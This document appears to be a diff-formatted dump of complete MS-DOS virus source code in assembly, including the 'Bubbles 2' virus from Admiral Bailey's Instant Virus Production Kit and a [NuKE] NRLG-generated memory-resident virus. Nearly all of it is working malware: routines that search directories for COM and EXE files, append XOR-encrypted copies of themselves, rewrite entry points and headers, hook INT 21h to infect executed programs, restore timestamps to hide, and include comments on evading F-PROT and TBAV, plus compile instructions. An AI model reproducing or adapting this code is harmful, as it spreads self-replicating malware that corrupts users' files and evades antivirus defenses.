|
||||
lea dx,[bp+offset encrypt_end]
|
||||
call dx ; Call the encrypt_decrypt procedure
|
||||
pop bx ; Get handle back in bx and return
|
||||
mov ah,40h ; Write to file
|
||||
mov cx,eof-virus ; Number of bytes
|
||||
lea dx,[bp+offset virus] ; Where to write from
|
||||
int 21h
|
||||
push bx ; Save the file handle
|
||||
lea dx,[bp+offset encrypt_end]
|
||||
call dx ; Decrypt the file and return
|
||||
pop bx ; Get handle back in bx and return
|
||||
ret
|
||||
move_end equ $ ; Marks the end of move
|
||||
|
||||
encrypt_end equ $ ; Marks the end of encryption
|
||||
|
||||
encrypt_decrypt:
|
||||
lea bx,[bp+encrypt_start] ; Where to start encryption
|
||||
mov cx,encrypt_end-encrypt_start ; Number of bytes to encrypt
|
||||
mov dh,[bp+enc_value] ; Value to use for encryption
|
||||
encrypt_loop:
|
||||
mov ah,cs:[bx] ; Get a byte in ah
|
||||
xor ah,dh ; Xor it
|
||||
mov cs:[bx],ah ; Put it back
|
||||
inc bx ; Move to next byte and loop
|
||||
loop encrypt_loop
|
||||
ret
|
||||
|
||||
enc_value db 00h ; Hold the encryption value 00 for nul effect
|
||||
|
||||
eof equ $ ; Marks the end of file
|
||||
|
||||
workarea db move_end-move_begin dup (?) ; Holds the encrypt_infect routine
|
||||
currentdir db 64 dup (?) ; Holds the current dir
|
||||
dta db 42 dup (?) ; Location of new DTA
|
||||
buffer db 1ah dup (?) ; Holds exe header
|
||||
oldint24 dd ? ; Storage for old int 24h handler
|
||||
|
||||
code ends
|
||||
end start
|
||||
|
||||
@@ -0,0 +1,427 @@
|
||||
;---------
|
||||
; Bubbles 2 written by Admiral Bailey
|
||||
;---------
|
||||
|
||||
|
||||
Code Segment Public 'Code'
|
||||
Assume CS:Code
|
||||
Org 100h ; All .COM files start here
|
||||
|
||||
ID = 'AB' ; Id for infected files
|
||||
MaxFiles = 3 ; Max number of file to infect
|
||||
|
||||
Start:
|
||||
db 0e9h,2,0 ; Jump to the next command
|
||||
dw id ; So this file doesnt get infected
|
||||
|
||||
Virus:
|
||||
call realcode ; Push current location on stack
|
||||
|
||||
Realcode:
|
||||
pop bp ; Get location off stack
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
sub bp,offset realcode ; Adjust it for our pointer
|
||||
nop
|
||||
nop
|
||||
call encrypt_decrypt ; Decrypt the virus first
|
||||
|
||||
Encrypt_Start equ $ ; From here is encrypted
|
||||
|
||||
cmp sp,id ; Is this file a COM or EXE?
|
||||
je restoreEXE ; Its an EXE so restore it
|
||||
|
||||
lea si,[bp+offset oldjump] ; Location of old jump in si
|
||||
mov di,100h ; Restore new jump to 100h
|
||||
push di ; Save so we could just return when done
|
||||
movsb ; Move a byte
|
||||
movsw ; Move a word
|
||||
movsw ; Move another word
|
||||
jmp exitrestore
|
||||
|
||||
RestoreEXE:
|
||||
push ds ; Save ExE ds
|
||||
push es ; Save ExE es
|
||||
push cs
|
||||
pop ds ; DS now equals CS
|
||||
push cs
|
||||
pop es ; ES now equals CS
|
||||
|
||||
lea si,[bp+jmpsave2]
|
||||
lea di,[bp+jmpsave]
|
||||
movsw ; Move a word
|
||||
movsw ; Move a word
|
||||
movsw ; Move a word
|
||||
movsw ; Move a word
|
||||
|
||||
ExitRestore:
|
||||
lea dx,[bp+offset dta] ; Where to put New DTA
|
||||
call set_DTA ; Move it
|
||||
|
||||
mov [bp+counter],byte ptr 0 ; Clear counter
|
||||
mov ax,3524h ; Get int 24 handler
|
||||
int 21h ; It gets put in ES:BX
|
||||
mov word ptr [bp+oldint24],bx ; Save it
|
||||
mov word ptr [bp+oldint24+2],es
|
||||
|
||||
mov ah,25h ; Set new int 24 handler
|
||||
lea dx,[bp+offset int24] ; Loc of new one in DS:DX
|
||||
int 21h
|
||||
|
||||
push cs ; Restore ES
|
||||
pop es ; 'cuz it was changed
|
||||
|
||||
mov ah,47h ; Get the current directory
|
||||
mov dl,0h ; On current drive
|
||||
lea si,[bp+offset currentdir] ; Where to keep it
|
||||
int 21h
|
||||
|
||||
DirLoop:
|
||||
lea dx,[bp+offset exefilespec] ; Files to look for
|
||||
call findfirst
|
||||
lea dx,[bp+offset comfilespec] ; Files to look for
|
||||
call findfirst
|
||||
|
||||
lea dx,[bp+offset directory] ; Where to change too '..'
|
||||
mov ah,3bh ; Change directory
|
||||
int 21h
|
||||
jnc dirloop ; If no problems the look for files
|
||||
|
||||
call activate ; Call the activation routine
|
||||
|
||||
mov ax,2524h ; Restore int 24 handler
|
||||
lds dx,[bp+offset oldint24] ; To original
|
||||
int 21h
|
||||
|
||||
push cs
|
||||
pop ds ; Do this because the DS gets changed
|
||||
|
||||
lea dx,[bp+offset currentdir] ; Location Of original dir
|
||||
mov ah,3bh ; Change to there
|
||||
int 21h
|
||||
|
||||
mov dx,80h ; Location of original DTA
|
||||
call set_dta ; Put it back there
|
||||
|
||||
cmp sp,id-4 ; Is this file an EXE or COM?
|
||||
jz returnEXE ; Its an EXE!
|
||||
|
||||
retn ; Return to 100h (original jump)
|
||||
|
||||
ReturnEXE:
|
||||
pop es ; Get original ES
|
||||
pop ds ; Get original DS
|
||||
|
||||
mov ax,es
|
||||
add ax,10h
|
||||
add word ptr cs:[bp+jmpsave+2],ax
|
||||
add ax,word ptr cs:[bp+stacksave+2]
|
||||
cli ; Clear int's because of stack manipulation
|
||||
mov sp,word ptr cs:[bp+stacksave]
|
||||
mov ss,ax
|
||||
sti
|
||||
db 0eah ; Jump ssss:oooo
|
||||
jmpsave dd ? ; Jump location
|
||||
stacksave dd ? ; Original cs:ip
|
||||
jmpsave2 dd 0fff00000h
|
||||
stacksave2 dd ?
|
||||
|
||||
FindFirst:
|
||||
cmp [bp+counter],maxfiles ; Have we infected Too many
|
||||
ja quit ; Yup
|
||||
|
||||
mov ah,4eh ; Find first file
|
||||
mov cx,7 ; Find all attributes
|
||||
|
||||
FindNext:
|
||||
int 21h ; Find first/next file int
|
||||
jc quit ; If none found then change dir
|
||||
|
||||
call infection ; Infect that file
|
||||
|
||||
FindNext2:
|
||||
mov ah,4fh ; Find next file
|
||||
jmp findnext ; Jump to the loop
|
||||
|
||||
Quit:
|
||||
ret
|
||||
|
||||
Infection:
|
||||
mov ax,3d00h ; Open file for read only
|
||||
call open
|
||||
|
||||
mov ah,3fh ; Read from file
|
||||
mov cx,1ah ; Number of bytes
|
||||
lea dx,[bp+offset buffer] ; Location to store them
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
mov ax,word ptr [bp+DTA+1Ah] ; Get filesize from DTA
|
||||
cmp ax,64000 ; Is the file too large?
|
||||
ja quitinfect ; file to large so getanother
|
||||
|
||||
cmp ax,600 ; Is the file too small?
|
||||
jb quitinfect ; file to small so getanother
|
||||
|
||||
cmp word ptr [bp+buffer],'ZM' ; Is file found an EXE?
|
||||
jz checkEXE ; Yup so check it
|
||||
mov ax,word ptr [bp+DTA+35] ; Get end of file name in ax
|
||||
cmp ax,'DN' ; Does it end in 'ND'?
|
||||
jz quitinfect ; Yup so get another file
|
||||
|
||||
CheckCom:
|
||||
mov bx,word ptr [bp+offset dta+1ah] ; Get file size
|
||||
cmp word ptr cs:[bp+buffer+3],id ; Check for ID
|
||||
je quitinfect
|
||||
|
||||
jmp infectcom
|
||||
|
||||
CheckExe:
|
||||
cmp word ptr [bp+buffer+10h],id ; Check EXE for infection
|
||||
jz quitinfect ; Already infected so close up
|
||||
jmp infectexe
|
||||
|
||||
QuitInfect:
|
||||
ret
|
||||
|
||||
InfectCom:
|
||||
sub bx,3 ; Adjust for new jump
|
||||
lea si,[bp+buffer] ; Move the old jump first
|
||||
lea di,[bp+oldjump]
|
||||
movsb
|
||||
movsw
|
||||
movsw
|
||||
mov [bp+buffer],byte ptr 0e9h ; Setup new jump
|
||||
mov word ptr [bp+buffer+1],bx ; Save new jump
|
||||
|
||||
mov word ptr [bp+buffer+3],id ; Put in ID
|
||||
mov cx,5 ; Number of bytes to write
|
||||
|
||||
jmp finishinfection
|
||||
InfectExe:
|
||||
les ax,dword ptr [bp+buffer+14h] ; Load es with seg address
|
||||
mov word ptr [bp+jmpsave2],ax ; save old cs:ip
|
||||
mov word ptr [bp+jmpsave2+2],es
|
||||
|
||||
les ax,dword ptr [bp+buffer+0eh] ; save old ss:sp
|
||||
mov word ptr [bp+stacksave2],es ; save old cs:ip
|
||||
mov word ptr [bp+stacksave2+2],ax
|
||||
|
||||
mov ax, word ptr [bp+buffer+8] ; get header size
|
||||
mov cl,4
|
||||
shl ax,cl
|
||||
xchg ax,bx
|
||||
les ax,[bp+offset DTA+26] ; get files size from dta
|
||||
mov dx,es ; its now in dx:ax
|
||||
push ax ; save these
|
||||
push dx
|
||||
|
||||
sub ax,bx ; subtract header size from fsize
|
||||
sbb dx,0 ; subtract the carry too
|
||||
mov cx,10h ; convert to segment:offset form
|
||||
div cx
|
||||
|
||||
mov word ptr [bp+buffer+14h],dx ; put in new header
|
||||
mov word ptr [bp+buffer+16h],ax ; cs:ip
|
||||
|
||||
mov word ptr [bp+buffer+0eh],ax ; ss:sp
|
||||
mov word ptr [bp+buffer+10h],id ; put id in for later
|
||||
pop dx ; get the file length back
|
||||
pop ax
|
||||
|
||||
add ax,eof-virus ; add virus size
|
||||
adc dx,0 ; add with carry
|
||||
|
||||
mov cl,9 ; calculates new file size
|
||||
push ax
|
||||
shr ax,cl
|
||||
ror dx,cl
|
||||
stc
|
||||
adc dx,ax
|
||||
pop ax
|
||||
and ah,1
|
||||
|
||||
mov word ptr [bp+buffer+4],dx ; save new file size in header
|
||||
mov word ptr [bp+buffer+2],ax
|
||||
|
||||
push cs ; es = cs
|
||||
pop es
|
||||
|
||||
mov cx,1ah ; Size of EXE header
|
||||
FinishInfection:
|
||||
push cx ; save # of bytes to write
|
||||
xor cx,cx ; Set attriutes to none
|
||||
call attributes
|
||||
|
||||
mov al,2 ; open file read/write
|
||||
call open
|
||||
|
||||
mov ah,40h ; Write to file
|
||||
lea dx,[bp+buffer] ; Location of bytes
|
||||
pop cx ; Get number of bytes to write
|
||||
int 21h
|
||||
jc closefile
|
||||
|
||||
mov al,02 ; Move Fpointer to eof
|
||||
Call move_fp
|
||||
|
||||
get_time:
|
||||
mov ah,2ch ; Get time for encryption value
|
||||
int 21h
|
||||
cmp dh,0 ; If its seconds are zero get another
|
||||
je get_time
|
||||
mov [bp+enc_value],dh ; Use seconds value for encryption
|
||||
|
||||
call encrypt_infect ; Encrypt and infect the file
|
||||
|
||||
inc [bp+counter] ; Increment the counter
|
||||
|
||||
CloseFile:
|
||||
mov ax,5701h ; Set files date/time back
|
||||
mov cx,word ptr [bp+dta+16h] ; Get old time from dta
|
||||
mov dx,word ptr [bp+dta+18h] ; Get old date
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
xor cx,cx
|
||||
mov cl,byte ptr [bp+dta+15h] ; Get old Attributes
|
||||
call attributes
|
||||
|
||||
retn
|
||||
|
||||
Activate:
|
||||
mov ah,2ah ; Get current date
|
||||
int 21h
|
||||
|
||||
cmp cx,1993 ; Check current Year
|
||||
jb dont_activate
|
||||
cmp dl,13 ; Check current Day
|
||||
jne dont_activate
|
||||
|
||||
mov ah,2ch ; Get current time
|
||||
int 21h
|
||||
|
||||
cmp ch,13 ; Check current hour
|
||||
jne dont_activate
|
||||
|
||||
mov ah,9 ; Display string
|
||||
lea dx,[bp+messege] ; The string to display
|
||||
int 21h
|
||||
|
||||
mov cx,2
|
||||
include .\routines\phasor.rtn ; Include file
|
||||
|
||||
Dont_Activate:
|
||||
ret
|
||||
|
||||
Move_Fp:
|
||||
mov ah,42h ; Move file pointer
|
||||
xor cx,cx ; Al has location
|
||||
xor dx,dx ; Clear these
|
||||
int 21h
|
||||
retn
|
||||
|
||||
Set_DTA:
|
||||
mov ah,1ah ; Move the DTA location
|
||||
int 21h ; DX has location
|
||||
retn
|
||||
|
||||
Open:
|
||||
mov ah,3dh ; open file
|
||||
lea dx,[bp+DTA+30] ; Filename in DTA
|
||||
int 21h
|
||||
xchg ax,bx ; put file handle in bx
|
||||
ret
|
||||
|
||||
Attributes:
|
||||
mov ax,4301h ; Set attributes to cx
|
||||
lea dx,[bp+DTA+30] ; filename in DTA
|
||||
int 21h
|
||||
ret
|
||||
|
||||
int24: ; New Int 24h
|
||||
mov al,3 ; Fail call
|
||||
iret ; Return from int 24 call
|
||||
|
||||
Virusname db 'Bubbles 2' ; Name Of The Virus
|
||||
Author db 'Admiral Bailey' ; Author Of This Virus
|
||||
messege:
|
||||
db 'Bubbles 2 : Its back and better then ever.',10,13
|
||||
db ' ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^',10,13
|
||||
db 'Is it me or does that Make no sense at all?',10,13
|
||||
Made_with db '[IVP2]',10,13,'$' ; Please do not remove this
|
||||
|
||||
comfilespec db '*.com',0 ; Holds type of file to look for
|
||||
exefilespec db '*.exe',0 ; Holds type of file to look for
|
||||
directory db '..',0 ; Directory to change to
|
||||
oldjump db 0cdh,020h,0,0,0 ; Old jump. Is int 20h for file quit
|
||||
|
||||
Encrypt_Infect:
|
||||
lea si,[bp+offset move_begin] ; Location of where to move from
|
||||
lea di,[bp+offset workarea] ; Where to move it too
|
||||
mov cx,move_end-move_begin ; Number of bytes to move
|
||||
move_loop:
|
||||
movsb ; Moves this routine into heap
|
||||
loop move_loop
|
||||
lea dx,[bp+offset workarea]
|
||||
call dx ; Jump to that routine just moved
|
||||
ret
|
||||
|
||||
Move_Begin equ $ ; Marks beginning of move
|
||||
push bx ; Save the file handle
|
||||
lea dx,[bp+offset encrypt_end]
|
||||
call dx ; Call the encrypt_decrypt procedure
|
||||
pop bx ; Get handle back in bx and return
|
||||
mov ah,40h ; Write to file
|
||||
mov cx,eof-virus ; Number of bytes
|
||||
lea dx,[bp+offset virus] ; Where to write from
|
||||
int 21h
|
||||
push bx ; Save the file handle
|
||||
lea dx,[bp+offset encrypt_end]
|
||||
call dx ; Decrypt the file and return
|
||||
pop bx ; Get handle back in bx and return
|
||||
ret
|
||||
move_end equ $ ; Marks the end of move
|
||||
|
||||
Encrypt_End equ $ ; Marks the end of encryption
|
||||
|
||||
Encrypt_Decrypt:
|
||||
mov cx,encrypt_end-encrypt_start ; bytes to encrypt
|
||||
lea si,cs:[bp+encrypt_start] ; start of encryption
|
||||
mov di,si
|
||||
encloop:
|
||||
lodsb
|
||||
xor ah,cs:[bp+enc_value]
|
||||
stosb
|
||||
loop encloop
|
||||
ret
|
||||
|
||||
Enc_Value db 00h ; Hold the encryption value 00 for nul effect
|
||||
|
||||
EOF equ $ ; Marks the end of file
|
||||
|
||||
Counter db 0 ; Infected File Counter
|
||||
Workarea db move_end-move_begin dup (?) ; Holds the encrypt_infect routine
|
||||
currentdir db 64 dup (?) ; Holds the current dir
|
||||
DTA db 42 dup (?) ; Location of new DTA
|
||||
Buffer db 1ah dup (?) ; Holds exe header
|
||||
OldInt24 dd ? ; Storage for old int 24h handler
|
||||
Filler db 3000 dup (0)
|
||||
|
||||
eov equ $ ; Used For Calculations
|
||||
|
||||
code ends
|
||||
end start
|
||||
|
||||
|
||||
;---------
|
||||
; Instant Virus Production Kit By Admiral Bailey - Youngsters Against McAfee
|
||||
; To compile this use TASM /M FILENAME.ASM
|
||||
; Then type tlink /t FILENAME.OBJ
|
||||
;---------
|
||||
|
||||
@@ -0,0 +1,454 @@
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. ³ [NuKE] PoWeR
|
||||
;³ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN ³ [NuKE] WaReZ
|
||||
;³ auToR: aLL [NuKE] MeMeBeRS ³ [NuKE] PoWeR
|
||||
;³ [NuKE] THe ReaL PoWeR! ³ [NuKE] WaReZ
|
||||
;³ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 ³ [NuKE] PoWeR
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
|
||||
.286
|
||||
code segment
|
||||
assume cs:code,ds:code
|
||||
org 100h
|
||||
|
||||
start: CALL NEXT
|
||||
|
||||
NEXT:
|
||||
mov di,sp ;take the stack pointer location
|
||||
mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus
|
||||
sub bp,offset next ;subtract the large code off this code
|
||||
;
|
||||
;*******************************************************************
|
||||
; #1 DECRYPT ROUTINE
|
||||
;*******************************************************************
|
||||
|
||||
cmp byte ptr cs:[crypt],0b9h ;is the first runnig?
|
||||
je crypt2 ;yes! not decrypt
|
||||
;----------------------------------------------------------
|
||||
mov cx,offset fin ;cx = large of virus
|
||||
lea di,[offset crypt]+ bp ;di = first byte to decrypt
|
||||
mov dx,1 ;dx = value for decrypt
|
||||
;----------------------------------------------------------
|
||||
deci: ;deci = fuck label!
|
||||
;----------------------------------------------------------
|
||||
|
||||
ÿnot byte ptr [di]
|
||||
inc byte ptr [di]
|
||||
not byte ptr [di]
|
||||
add byte ptr [di],020h
|
||||
add word ptr [di],0f8eah
|
||||
sub byte ptr [di],01h
|
||||
inc byte ptr [di]
|
||||
add byte ptr [di],049h
|
||||
inc byte ptr [di]
|
||||
xor word ptr [di],0165dh
|
||||
sub byte ptr [di],03bh
|
||||
sub byte ptr [di],0d0h
|
||||
inc word ptr [di]
|
||||
sub byte ptr [di],039h
|
||||
inc byte ptr [di]
|
||||
inc byte ptr [di]
|
||||
ÿinc di
|
||||
inc di
|
||||
;----------------------------------------------------------
|
||||
jmp bye ;######## BYE BYE F-PROT ! ##########
|
||||
mov ah,4ch
|
||||
int 21h
|
||||
bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!###
|
||||
;-----------------------------------------------------------
|
||||
mov ah,0bh ;######### BYE BYE TBAV ! ##########
|
||||
int 21h ;### (CANGE INT AT YOU PLEASURE) ###
|
||||
;----------------------------------------------------------
|
||||
loop deci ;repeat please!
|
||||
;
|
||||
;*****************************************************************
|
||||
; #2 DECRYPT ROUTINE
|
||||
;*****************************************************************
|
||||
;
|
||||
crypt: ;fuck label!
|
||||
;
|
||||
mov cx,offset fin ;cx = large of virus
|
||||
lea di,[offset crypt2] + bp ;di = first byte to decrypt
|
||||
;---------------------------------------------------------------
|
||||
deci2: ;
|
||||
xor byte ptr cs:[di],1 ;decrytion rutine
|
||||
inc di ;very simple...
|
||||
loop deci2 ;
|
||||
;---------------------------------------------------------------
|
||||
crypt2: ;fuck label!
|
||||
;
|
||||
MOV AX,0CACAH ;call to my resident interrup mask
|
||||
INT 21H ;for chek "I'm is residet?"
|
||||
CMP Bh,0CAH ;is equal to CACA?
|
||||
JE PUM2 ;yes! jump to runnig program
|
||||
call action
|
||||
;*****************************************************************
|
||||
; NRLG FUNCTIONS (SELECTABLE)
|
||||
;*****************************************************************
|
||||
|
||||
ÿcall ANTI_V
|
||||
;****************************************************************
|
||||
; PROCESS TO REMAIN RESIDENT
|
||||
;****************************************************************
|
||||
|
||||
mov ax,3521h
|
||||
int 21h ;store the int 21 vectors
|
||||
mov word ptr [bp+int21],bx ;in cs:int21
|
||||
mov word ptr [bp+int21+2],es ;
|
||||
;---------------------------------------------------------------
|
||||
push cs ;
|
||||
pop ax ;ax = my actual segment
|
||||
dec ax ;dec my segment for look my MCB
|
||||
mov es,ax ;
|
||||
mov bx,es:[3] ;read the #3 byte of my MCB =total used memory
|
||||
;---------------------------------------------------------------
|
||||
push cs ;
|
||||
pop es ;
|
||||
sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus
|
||||
sub bx,17 + offset fin ;and 100H for the PSP total
|
||||
mov ah,4ah ;used memory
|
||||
int 21h ;put the new value to MCB
|
||||
;---------------------------------------------------------------
|
||||
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
|
||||
mov ah,48h ;
|
||||
int 21h ;request the memory to fuck DOS!
|
||||
;---------------------------------------------------------------
|
||||
dec ax ;ax=new segment
|
||||
mov es,ax ;ax-1= new segment MCB
|
||||
mov byte ptr es:[1],8 ;put '8' in the segment
|
||||
;--------------------------------------------------------------
|
||||
inc ax ;
|
||||
mov es,ax ;es = new segment
|
||||
lea si,[bp + offset start] ;si = start of virus
|
||||
mov di,100h ;di = 100H (psp position)
|
||||
mov cx,offset fin - start ;cx = lag of virus
|
||||
push cs ;
|
||||
pop ds ;ds = cs
|
||||
cld ;mov the code
|
||||
rep movsb ;ds:si >> es:di
|
||||
;--------------------------------------------------------------
|
||||
mov dx,offset virus ;dx = new int21 handler
|
||||
mov ax,2521h ;
|
||||
push es ;
|
||||
pop ds ;
|
||||
int 21h ;set the vectors
|
||||
;-------------------------------------------------------------
|
||||
pum2: ;
|
||||
;
|
||||
mov ah,byte ptr [cs:bp + real] ;restore the 3
|
||||
mov byte ptr cs:[100h],ah ;first bytes
|
||||
mov ax,word ptr [cs:bp + real + 1] ;
|
||||
mov word ptr cs:[101h],ax ;
|
||||
;-------------------------------------------------------------
|
||||
mov ax,100h ;
|
||||
jmp ax ;jmp to execute
|
||||
;
|
||||
;*****************************************************************
|
||||
;* HANDLER FOR THE INT 21H
|
||||
;*****************************************************************
|
||||
;
|
||||
VIRUS: ;
|
||||
;
|
||||
cmp ah,4bh ;is a 4b function?
|
||||
je REPRODUCCION ;yes! jump to reproduce !
|
||||
cmp ah,11h
|
||||
je dir
|
||||
cmp ah,12h
|
||||
je dir
|
||||
dirsal:
|
||||
cmp AX,0CACAH ;is ... a caca function? (resident chek)
|
||||
jne a3 ;no! jump to a3
|
||||
mov bh,0cah ;yes! put ca in bh
|
||||
a3: ;
|
||||
JMP dword ptr CS:[INT21] ;jmp to original int 21h
|
||||
ret ;
|
||||
make db '[NuKE] N.R.L.G. AZRAEL'
|
||||
dir:
|
||||
jmp dir_s
|
||||
;-------------------------------------------------------------
|
||||
REPRODUCCION: ;
|
||||
;
|
||||
pushf ;put the register
|
||||
pusha ;in the stack
|
||||
push si ;
|
||||
push di ;
|
||||
push bp ;
|
||||
push es ;
|
||||
push ds ;
|
||||
;-------------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;
|
||||
mov ax,3524H ;get the dos error control
|
||||
int 21h ;interupt
|
||||
mov word ptr error,es ;and put in cs:error
|
||||
mov word ptr error+2,bx ;
|
||||
mov ax,2524H ;change the dos error control
|
||||
mov dx,offset all ;for my "trap mask"
|
||||
int 21h ;
|
||||
;-------------------------------------------------------------
|
||||
pop ds ;
|
||||
pop es ;restore the registers
|
||||
pop bp ;
|
||||
pop di ;
|
||||
pop si ;
|
||||
popa ;
|
||||
popf ;
|
||||
;-------------------------------------------------------------
|
||||
pushf ;put the registers
|
||||
pusha ;
|
||||
push si ;HEY! AZRAEL IS CRAZY?
|
||||
push di ;PUSH, POP, PUSH, POP
|
||||
push bp ;PLEEEEEAAAAAASEEEEEEEEE
|
||||
push es ;PURIFY THIS SHIT!
|
||||
push ds ;
|
||||
;-------------------------------------------------------------
|
||||
mov ax,4300h ;
|
||||
int 21h ;get the file
|
||||
mov word ptr cs:[attrib],cx ;atributes
|
||||
;-------------------------------------------------------------
|
||||
mov ax,4301h ;le saco los atributos al
|
||||
xor cx,cx ;file
|
||||
int 21h ;
|
||||
;-------------------------------------------------------------
|
||||
mov ax,3d02h ;open the file
|
||||
int 21h ;for read/write
|
||||
mov bx,ax ;bx=handle
|
||||
;-------------------------------------------------------------
|
||||
mov ax,5700h ;
|
||||
int 21h ;get the file date
|
||||
mov word ptr cs:[hora],cx ;put the hour
|
||||
mov word ptr cs:[dia],dx ;put the day
|
||||
and cx,word ptr cs:[fecha] ;calculate the seconds
|
||||
cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX)
|
||||
jne seguir ;yes! the file is infected!
|
||||
jmp cerrar ;
|
||||
;------------------------------------------------------------
|
||||
seguir: ;
|
||||
mov ax,4202h ;move the pointer to end
|
||||
call movedor ;of the file
|
||||
;------------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;
|
||||
sub ax,3 ;calculate the
|
||||
mov word ptr [cs:largo],ax ;jmp long
|
||||
;-------------------------------------------------------------
|
||||
mov ax,04200h ;move the pointer to
|
||||
call movedor ;start of file
|
||||
;----------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;read the 3 first bytes
|
||||
mov ah,3fh ;
|
||||
mov cx,3 ;
|
||||
lea dx,[cs:real] ;put the bytes in cs:[real]
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ?
|
||||
jne er1 ;yes! is a EXE... fuckkk!
|
||||
;----------------------------------------------------------
|
||||
jmp cerrar
|
||||
er1:
|
||||
;----------------------------------------------------------
|
||||
mov ax,4200h ;move the pointer
|
||||
call movedor ;to start fo file
|
||||
;----------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;
|
||||
mov ah,40h ;
|
||||
mov cx,1 ;write the JMP
|
||||
lea dx,[cs:jump] ;instruccion in the
|
||||
int 21h ;fist byte of the file
|
||||
;----------------------------------------------------------
|
||||
mov ah,40h ;write the value of jmp
|
||||
mov cx,2 ;in the file
|
||||
lea dx,[cs:largo] ;
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
mov ax,04202h ;move the pointer to
|
||||
call movedor ;end of file
|
||||
;----------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;move the code
|
||||
push cs ;of my virus
|
||||
pop es ;to cs:end+50
|
||||
cld ;for encrypt
|
||||
mov si,100h ;
|
||||
mov di,offset fin + 50 ;
|
||||
mov cx,offset fin - 100h ;
|
||||
rep movsb ;
|
||||
;----------------------------------------------------------
|
||||
mov cx,offset fin
|
||||
mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus
|
||||
enc: ;
|
||||
xor byte ptr cs:[di],1 ;encrypt the virus
|
||||
inc di ;code
|
||||
loop enc ;
|
||||
;---------------------------------------------------------
|
||||
mov cx,offset fin
|
||||
mov di,offset fin + 50 + (offset crypt - offset start) ;virus
|
||||
mov dx,1
|
||||
enc2: ;
|
||||
|
||||
ÿdec byte ptr [di]
|
||||
dec byte ptr [di]
|
||||
add byte ptr [di],039h
|
||||
dec word ptr [di]
|
||||
add byte ptr [di],0d0h
|
||||
add byte ptr [di],03bh
|
||||
xor word ptr [di],0165dh
|
||||
dec byte ptr [di]
|
||||
sub byte ptr [di],049h
|
||||
dec byte ptr [di]
|
||||
add byte ptr [di],01h
|
||||
sub word ptr [di],0f8eah
|
||||
sub byte ptr [di],020h
|
||||
not byte ptr [di]
|
||||
dec byte ptr [di]
|
||||
not byte ptr [di]
|
||||
ÿinc di
|
||||
inc di ;the virus code
|
||||
loop enc2 ;
|
||||
;--------------------------------------------
|
||||
mov ah,40h ;
|
||||
mov cx,offset fin - offset start ;copy the virus
|
||||
mov dx,offset fin + 50 ;to end of file
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
cerrar: ;
|
||||
;restore the
|
||||
mov ax,5701h ;date and time
|
||||
mov cx,word ptr cs:[hora] ;file
|
||||
mov dx,word ptr cs:[dia] ;
|
||||
or cx,word ptr cs:[fecha] ;and mark the seconds
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
mov ah,3eh ;
|
||||
int 21h ;close the file
|
||||
;----------------------------------------------------------
|
||||
pop ds ;
|
||||
pop es ;restore the
|
||||
pop bp ;registers
|
||||
pop di ;
|
||||
pop si ;
|
||||
popa ;
|
||||
popf ;
|
||||
;----------------------------------------------------------
|
||||
pusha ;
|
||||
;
|
||||
mov ax,4301h ;restores the atributes
|
||||
mov cx,word ptr cs:[attrib] ;of the file
|
||||
int 21h ;
|
||||
;
|
||||
popa ;
|
||||
;----------------------------------------------------------
|
||||
pushf ;
|
||||
pusha ; 8-( = f-prot
|
||||
push si ;
|
||||
push di ; 8-( = tbav
|
||||
push bp ;
|
||||
push es ; 8-) = I'm
|
||||
push ds ;
|
||||
;----------------------------------------------------------
|
||||
mov ax,2524H ;
|
||||
lea bx,error ;restore the
|
||||
mov ds,bx ;errors handler
|
||||
lea bx,error+2 ;
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
pop ds ;
|
||||
pop es ;
|
||||
pop bp ;restore the
|
||||
pop di ;resgisters
|
||||
pop si ;
|
||||
popa ;
|
||||
popf ;
|
||||
;----------------------------------------------------------
|
||||
JMP A3 ;jmp to orig. INT 21
|
||||
;
|
||||
;**********************************************************
|
||||
; SUBRUTINES AREA
|
||||
;**********************************************************
|
||||
;
|
||||
movedor: ;
|
||||
;
|
||||
xor cx,cx ;use to move file pointer
|
||||
xor dx,dx ;
|
||||
int 21h ;
|
||||
ret ;
|
||||
;----------------------------------------------------------
|
||||
all: ;
|
||||
;
|
||||
XOR AL,AL ;use to set
|
||||
iret ;error flag
|
||||
|
||||
;***********************************************************
|
||||
; DATA AREA
|
||||
;***********************************************************
|
||||
largo dw ?
|
||||
jump db 0e9h
|
||||
real db 0cdh,20h,0
|
||||
hora dw ?
|
||||
dia dw ?
|
||||
attrib dw ?
|
||||
int21 dd ?
|
||||
error dd ?
|
||||
|
||||
ÿ;------------------------
|
||||
action: ;Nothing Action!
|
||||
NOP ;only replicate
|
||||
ret ;Return to call
|
||||
;------------------------
|
||||
|
||||
